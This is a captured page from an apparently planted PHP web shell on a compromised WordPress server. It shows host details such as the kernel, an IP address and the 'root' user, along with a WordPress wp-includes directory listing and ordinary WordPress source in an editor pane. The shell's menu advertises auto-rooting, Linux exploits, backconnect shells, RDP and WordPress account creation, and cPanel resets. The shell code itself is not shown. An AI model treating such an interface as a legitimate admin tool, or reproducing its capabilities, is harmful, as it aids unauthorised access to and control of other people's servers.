Linux 4e23370b81f1 5.14.0-687.5.3.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 14:53:22 EDT 2026 x86_64
: 127.0.0.1 | : 216.73.217.70
Cant Read [ /etc/named.conf ]
8.3.31
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
dom1153719 /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
abilities-api
[ DIR ]
drwxr-xr-x
ai-client
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-bindings
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
collaboration
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
html-api
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
interactivity-api
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
l10n
[ DIR ]
drwxr-xr-x
php-ai-client
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
abilities-api.php
23.8
KB
-rw-r--r--
abilities.php
7.82
KB
-rw-r--r--
admin-bar.php
38.39
KB
-rw-r--r--
ai-client.php
2.49
KB
-rw-r--r--
atomlib.php
11.9
KB
-rw-r--r--
author-template.php
19.38
KB
-rw-r--r--
block-bindings.php
7.35
KB
-rw-r--r--
block-editor.php
28.05
KB
-rw-r--r--
block-i18n.json
316
B
-rw-r--r--
block-patterns.php
15.24
KB
-rw-r--r--
block-template-utils.php
61.33
KB
-rw-r--r--
block-template.php
17.83
KB
-rw-r--r--
blocks.php
116.64
KB
-rw-r--r--
bookmark-template.php
12.47
KB
-rw-r--r--
bookmark.php
15.07
KB
-rw-r--r--
cache-compat.php
10.76
KB
-rw-r--r--
cache.php
13.17
KB
-rw-r--r--
canonical.php
33.83
KB
-rw-r--r--
capabilities.php
42.61
KB
-rw-r--r--
category-template.php
55.65
KB
-rw-r--r--
category.php
12.53
KB
-rw-r--r--
class-IXR.php
2.55
KB
-rw-r--r--
class-avif-info.php
29.3
KB
-rw-r--r--
class-feed.php
539
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.65
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.61
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.63
KB
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
453
B
-rw-r--r--
class-smtp.php
457
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.89
KB
-rw-r--r--
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-walker-page.php
7.43
KB
-rw-r--r--
class-wp-admin-bar.php
17.58
KB
-rw-r--r--
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
class-wp-application-passwords...
16.7
KB
-rw-r--r--
class-wp-block-bindings-regist...
8.07
KB
-rw-r--r--
class-wp-block-bindings-source...
2.92
KB
-rw-r--r--
class-wp-block-editor-context....
1.32
KB
-rw-r--r--
class-wp-block-list.php
4.6
KB
-rw-r--r--
class-wp-block-metadata-regist...
11.57
KB
-rw-r--r--
class-wp-block-parser-block.ph...
2.5
KB
-rw-r--r--
class-wp-block-parser-frame.ph...
1.95
KB
-rw-r--r--
class-wp-block-parser.php
11.25
KB
-rw-r--r--
class-wp-block-pattern-categor...
4.28
KB
-rw-r--r--
class-wp-block-patterns-regist...
10.07
KB
-rw-r--r--
class-wp-block-processor.php
68.32
KB
-rw-r--r--
class-wp-block-styles-registry...
6.27
KB
-rw-r--r--
class-wp-block-supports.php
6.4
KB
-rw-r--r--
class-wp-block-template.php
1.99
KB
-rw-r--r--
class-wp-block-templates-regis...
6.91
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.91
KB
-rw-r--r--
class-wp-block-type.php
16.83
KB
-rw-r--r--
class-wp-block.php
24.14
KB
-rw-r--r--
class-wp-classic-to-block-menu...
3.93
KB
-rw-r--r--
class-wp-comment-query.php
47.49
KB
-rw-r--r--
class-wp-comment.php
9.15
KB
-rw-r--r--
class-wp-connector-registry.ph...
14.07
KB
-rw-r--r--
class-wp-customize-control.php
25.51
KB
-rw-r--r--
class-wp-customize-manager.php
198.13
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
56.61
KB
-rw-r--r--
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
class-wp-customize-section.php
10.95
KB
-rw-r--r--
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
class-wp-customize-widgets.php
70.89
KB
-rw-r--r--
class-wp-date-query.php
35.13
KB
-rw-r--r--
class-wp-dependencies.php
16.69
KB
-rw-r--r--
class-wp-dependency.php
2.59
KB
-rw-r--r--
class-wp-duotone.php
39.95
KB
-rw-r--r--
class-wp-editor.php
70.54
KB
-rw-r--r--
class-wp-embed.php
15.54
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-exception.php
253
B
-rw-r--r--
class-wp-fatal-error-handler.p...
7.96
KB
-rw-r--r--
class-wp-feed-cache-transient....
3.23
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
16.25
KB
-rw-r--r--
class-wp-http-cookie.php
7.1
KB
-rw-r--r--
class-wp-http-curl.php
12.95
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.97
KB
-rw-r--r--
class-wp-http-requests-respons...
4.14
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
16.37
KB
-rw-r--r--
class-wp-http.php
40.67
KB
-rw-r--r--
class-wp-icons-registry.php
7.67
KB
-rw-r--r--
class-wp-image-editor-gd.php
20.22
KB
-rw-r--r--
class-wp-image-editor-imagick....
36.11
KB
-rw-r--r--
class-wp-image-editor.php
17.01
KB
-rw-r--r--
class-wp-list-util.php
7.27
KB
-rw-r--r--
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
class-wp-locale.php
16.45
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
class-wp-meta-query.php
29.79
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
6.67
KB
-rw-r--r--
class-wp-navigation-fallback.p...
8.98
KB
-rw-r--r--
class-wp-network-query.php
19.25
KB
-rw-r--r--
class-wp-network.php
12.01
KB
-rw-r--r--
class-wp-object-cache.php
17.11
KB
-rw-r--r--
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
class-wp-oembed.php
30.86
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.95
KB
-rw-r--r--
class-wp-phpmailer.php
4.25
KB
-rw-r--r--
class-wp-plugin-dependencies.p...
24.59
KB
-rw-r--r--
class-wp-post-type.php
29.95
KB
-rw-r--r--
class-wp-post.php
6.4
KB
-rw-r--r--
class-wp-query.php
159.6
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
10.9
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.8
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.44
KB
-rw-r--r--
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
class-wp-rewrite.php
62.2
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-roles.php
9.1
KB
-rw-r--r--
class-wp-script-modules.php
39.65
KB
-rw-r--r--
class-wp-scripts.php
35.93
KB
-rw-r--r--
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.87
KB
-rw-r--r--
class-wp-site-query.php
30.74
KB
-rw-r--r--
class-wp-site.php
7.28
KB
-rw-r--r--
class-wp-speculation-rules.php
7.38
KB
-rw-r--r--
class-wp-styles.php
13.04
KB
-rw-r--r--
class-wp-tax-query.php
19.12
KB
-rw-r--r--
class-wp-taxonomy.php
18.12
KB
-rw-r--r--
class-wp-term-query.php
39.8
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
979
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
18.49
KB
-rw-r--r--
class-wp-textdomain-registry.p...
10.24
KB
-rw-r--r--
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
class-wp-theme-json-resolver.p...
34.86
KB
-rw-r--r--
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
class-wp-theme-json.php
169.57
KB
-rw-r--r--
class-wp-theme.php
64.22
KB
-rw-r--r--
class-wp-token-map.php
27.95
KB
-rw-r--r--
class-wp-url-pattern-prefixer....
4.69
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.88
KB
-rw-r--r--
class-wp-user-query.php
43.07
KB
-rw-r--r--
class-wp-user-request.php
2.25
KB
-rw-r--r--
class-wp-user.php
22.48
KB
-rw-r--r--
class-wp-walker.php
13.01
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
17.99
KB
-rw-r--r--
class-wp-xmlrpc-server.php
209.98
KB
-rw-r--r--
class-wp.php
25.75
KB
-rw-r--r--
class-wpdb.php
115.86
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
collaboration.php
2.11
KB
-rw-r--r--
comment-template.php
100.79
KB
-rw-r--r--
comment.php
130.94
KB
-rw-r--r--
compat-utf8.php
19.1
KB
-rw-r--r--
compat.php
15.69
KB
-rw-r--r--
connectors.php
23.52
KB
-rw-r--r--
cron.php
43.94
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
11.1
KB
-rw-r--r--
default-filters.php
36.54
KB
-rw-r--r--
default-widgets.php
2.24
KB
-rw-r--r--
deprecated.php
189.43
KB
-rw-r--r--
embed-template.php
338
B
-rw-r--r--
embed.php
37.99
KB
-rw-r--r--
error-protection.php
4
KB
-rw-r--r--
feed-atom-comments.php
5.38
KB
-rw-r--r--
feed-atom.php
3.05
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.04
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
24.6
KB
-rw-r--r--
fonts.php
9.56
KB
-rw-r--r--
formatting.php
346.38
KB
-rw-r--r--
functions.php
283.52
KB
-rw-r--r--
functions.wp-scripts.php
20.01
KB
-rw-r--r--
functions.wp-styles.php
8.45
KB
-rw-r--r--
general-template.php
170.83
KB
-rw-r--r--
global-styles-and-settings.php
20.29
KB
-rw-r--r--
http.php
26.62
KB
-rw-r--r--
https-detection.php
5.72
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
kses.php
80.64
KB
-rw-r--r--
l10n.php
69.74
KB
-rw-r--r--
link-template.php
156.39
KB
-rw-r--r--
load.php
55.15
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
61.79
KB
-rw-r--r--
media.php
218.55
KB
-rw-r--r--
meta.php
65.26
KB
-rw-r--r--
ms-blogs.php
25.71
KB
-rw-r--r--
ms-default-constants.php
4.81
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.24
KB
-rw-r--r--
ms-files.php
2.79
KB
-rw-r--r--
ms-functions.php
89.69
KB
-rw-r--r--
ms-load.php
19.57
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.11
KB
-rw-r--r--
ms-site.php
40.75
KB
-rw-r--r--
nav-menu-template.php
25.38
KB
-rw-r--r--
nav-menu.php
43.23
KB
-rw-r--r--
option.php
102.62
KB
-rw-r--r--
pluggable-deprecated.php
6.18
KB
-rw-r--r--
pluggable.php
124.57
KB
-rw-r--r--
plugin.php
35.65
KB
-rw-r--r--
post-formats.php
6.9
KB
-rw-r--r--
post-template.php
67.01
KB
-rw-r--r--
post-thumbnail-template.php
10.62
KB
-rw-r--r--
post.php
289.79
KB
-rw-r--r--
post.php.orig
289.58
KB
-rw-r--r--
query.php
36.23
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
rest-api.php
98.52
KB
-rw-r--r--
revision.php
29.99
KB
-rw-r--r--
rewrite.php
19
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
159.3
KB
-rw-r--r--
script-modules.php
11.66
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
23.47
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
speculative-loading.php
8.4
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-engine.php
7.39
KB
-rw-r--r--
taxonomy.php
173.09
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
4.17
KB
-rw-r--r--
template.php
35.96
KB
-rw-r--r--
theme-i18n.json
1.85
KB
-rw-r--r--
theme-previews.php
2.82
KB
-rw-r--r--
theme-templates.php
3.96
KB
-rw-r--r--
theme.json
8.83
KB
-rw-r--r--
theme.php
131.48
KB
-rw-r--r--
update.php
37.38
KB
-rw-r--r--
user.php
174.63
KB
-rw-r--r--
utf8.php
7.09
KB
-rw-r--r--
vars.php
6.45
KB
-rw-r--r--
version.php
1.08
KB
-rw-r--r--
view-transitions.php
602
B
-rw-r--r--
widgets.php
69.17
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-diff.php
799
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-speculation-rules.php
<?php /** * Class 'WP_Speculation_Rules'. * * @package WordPress * @subpackage Speculative Loading * @since 6.8.0 */ /** * Class representing a set of speculation rules. * * @since 6.8.0 * @access private */ final class WP_Speculation_Rules implements JsonSerializable { /** * Stored rules, as a map of `$mode => $rules` pairs. * * Every `$rules` value is a map of `$id => $rule` pairs. * * @since 6.8.0 * @var array<string, array<string, array<string, mixed>>> */ private $rules_by_mode = array(); /** * The allowed speculation rules modes as a map, used for validation. * * @since 6.8.0 * @var array<string, bool> */ private static $mode_allowlist = array( 'prefetch' => true, 'prerender' => true, ); /** * The allowed speculation rules eagerness levels as a map, used for validation. * * @since 6.8.0 * @var array<string, bool> */ private static $eagerness_allowlist = array( 'immediate' => true, 'eager' => true, 'moderate' => true, 'conservative' => true, ); /** * The allowed speculation rules sources as a map, used for validation. * * @since 6.8.0 * @var array<string, bool> */ private static $source_allowlist = array( 'list' => true, 'document' => true, ); /** * Adds a speculation rule to the speculation rules to consider. * * @since 6.8.0 * * @param string $mode Speculative loading mode. Either 'prefetch' or 'prerender'. * @param string $id Unique string identifier for the speculation rule. * @param array<string, mixed> $rule Associative array of rule arguments. * @return bool True on success, false if invalid parameters are provided. */ public function add_rule( string $mode, string $id, array $rule ): bool { if ( ! self::is_valid_mode( $mode ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: invalid mode value */ __( 'The value "%s" is not a valid speculation rules mode.' ), esc_html( $mode ) ), '6.8.0' ); return false; } if ( ! $this->is_valid_id( $id ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: invalid ID value */ __( 'The value "%s" is not a valid ID for a speculation rule.' ), esc_html( $id ) ), '6.8.0' ); return false; } if ( $this->has_rule( $mode, $id ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: invalid ID value */ __( 'A speculation rule with ID "%s" already exists.' ), esc_html( $id ) ), '6.8.0' ); return false; } /* * Perform some basic speculation rule validation. * Every rule must have either a 'where' key or a 'urls' key, but not both. * The presence of a 'where' key implies a 'source' of 'document', while the presence of a 'urls' key implies * a 'source' of 'list'. */ if ( ( ! isset( $rule['where'] ) && ! isset( $rule['urls'] ) ) || ( isset( $rule['where'] ) && isset( $rule['urls'] ) ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: allowed key, 2: alternative allowed key */ __( 'A speculation rule must include either a "%1$s" key or a "%2$s" key, but not both.' ), 'where', 'urls' ), '6.8.0' ); return false; } if ( isset( $rule['source'] ) ) { if ( ! self::is_valid_source( $rule['source'] ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: invalid source value */ __( 'The value "%s" is not a valid source for a speculation rule.' ), esc_html( $rule['source'] ) ), '6.8.0' ); return false; } if ( 'list' === $rule['source'] && isset( $rule['where'] ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: source value, 2: forbidden key */ __( 'A speculation rule of source "%1$s" must not include a "%2$s" key.' ), 'list', 'where' ), '6.8.0' ); return false; } if ( 'document' === $rule['source'] && isset( $rule['urls'] ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: source value, 2: forbidden key */ __( 'A speculation rule of source "%1$s" must not include a "%2$s" key.' ), 'document', 'urls' ), '6.8.0' ); return false; } } // If there is an 'eagerness' key specified, make sure it's valid. if ( isset( $rule['eagerness'] ) ) { if ( ! self::is_valid_eagerness( $rule['eagerness'] ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: invalid eagerness value */ __( 'The value "%s" is not a valid eagerness for a speculation rule.' ), esc_html( $rule['eagerness'] ) ), '6.8.0' ); return false; } if ( isset( $rule['where'] ) && 'immediate' === $rule['eagerness'] ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: forbidden eagerness value */ __( 'The eagerness value "%s" is forbidden for document-level speculation rules.' ), 'immediate' ), '6.8.0' ); return false; } } if ( ! isset( $this->rules_by_mode[ $mode ] ) ) { $this->rules_by_mode[ $mode ] = array(); } $this->rules_by_mode[ $mode ][ $id ] = $rule; return true; } /** * Checks whether a speculation rule for the given mode and ID already exists. * * @since 6.8.0 * * @param string $mode Speculative loading mode. Either 'prefetch' or 'prerender'. * @param string $id Unique string identifier for the speculation rule. * @return bool True if the rule already exists, false otherwise. */ public function has_rule( string $mode, string $id ): bool { return isset( $this->rules_by_mode[ $mode ][ $id ] ); } /** * Returns the speculation rules data ready to be JSON-encoded. * * @since 6.8.0 * * @return array<string, array<int, array<string, mixed>>> Speculation rules data. */ #[ReturnTypeWillChange] public function jsonSerialize() { // Strip the IDs for JSON output, since they are not relevant for the Speculation Rules API. return array_map( static function ( array $rules ) { return array_values( $rules ); }, array_filter( $this->rules_by_mode ) ); } /** * Checks whether the given ID is valid. * * @since 6.8.0 * * @param string $id Unique string identifier for the speculation rule. * @return bool True if the ID is valid, false otherwise. */ private function is_valid_id( string $id ): bool { return (bool) preg_match( '/^[a-z][a-z0-9_-]+$/', $id ); } /** * Checks whether the given speculation rules mode is valid. * * @since 6.8.0 * * @param string $mode Speculation rules mode. * @return bool True if valid, false otherwise. */ public static function is_valid_mode( string $mode ): bool { return isset( self::$mode_allowlist[ $mode ] ); } /** * Checks whether the given speculation rules eagerness is valid. * * @since 6.8.0 * * @param string $eagerness Speculation rules eagerness. * @return bool True if valid, false otherwise. */ public static function is_valid_eagerness( string $eagerness ): bool { return isset( self::$eagerness_allowlist[ $eagerness ] ); } /** * Checks whether the given speculation rules source is valid. * * @since 6.8.0 * * @param string $source Speculation rules source. * @return bool True if valid, false otherwise. */ public static function is_valid_source( string $source ): bool { return isset( self::$source_allowlist[ $source ] ); } }
Close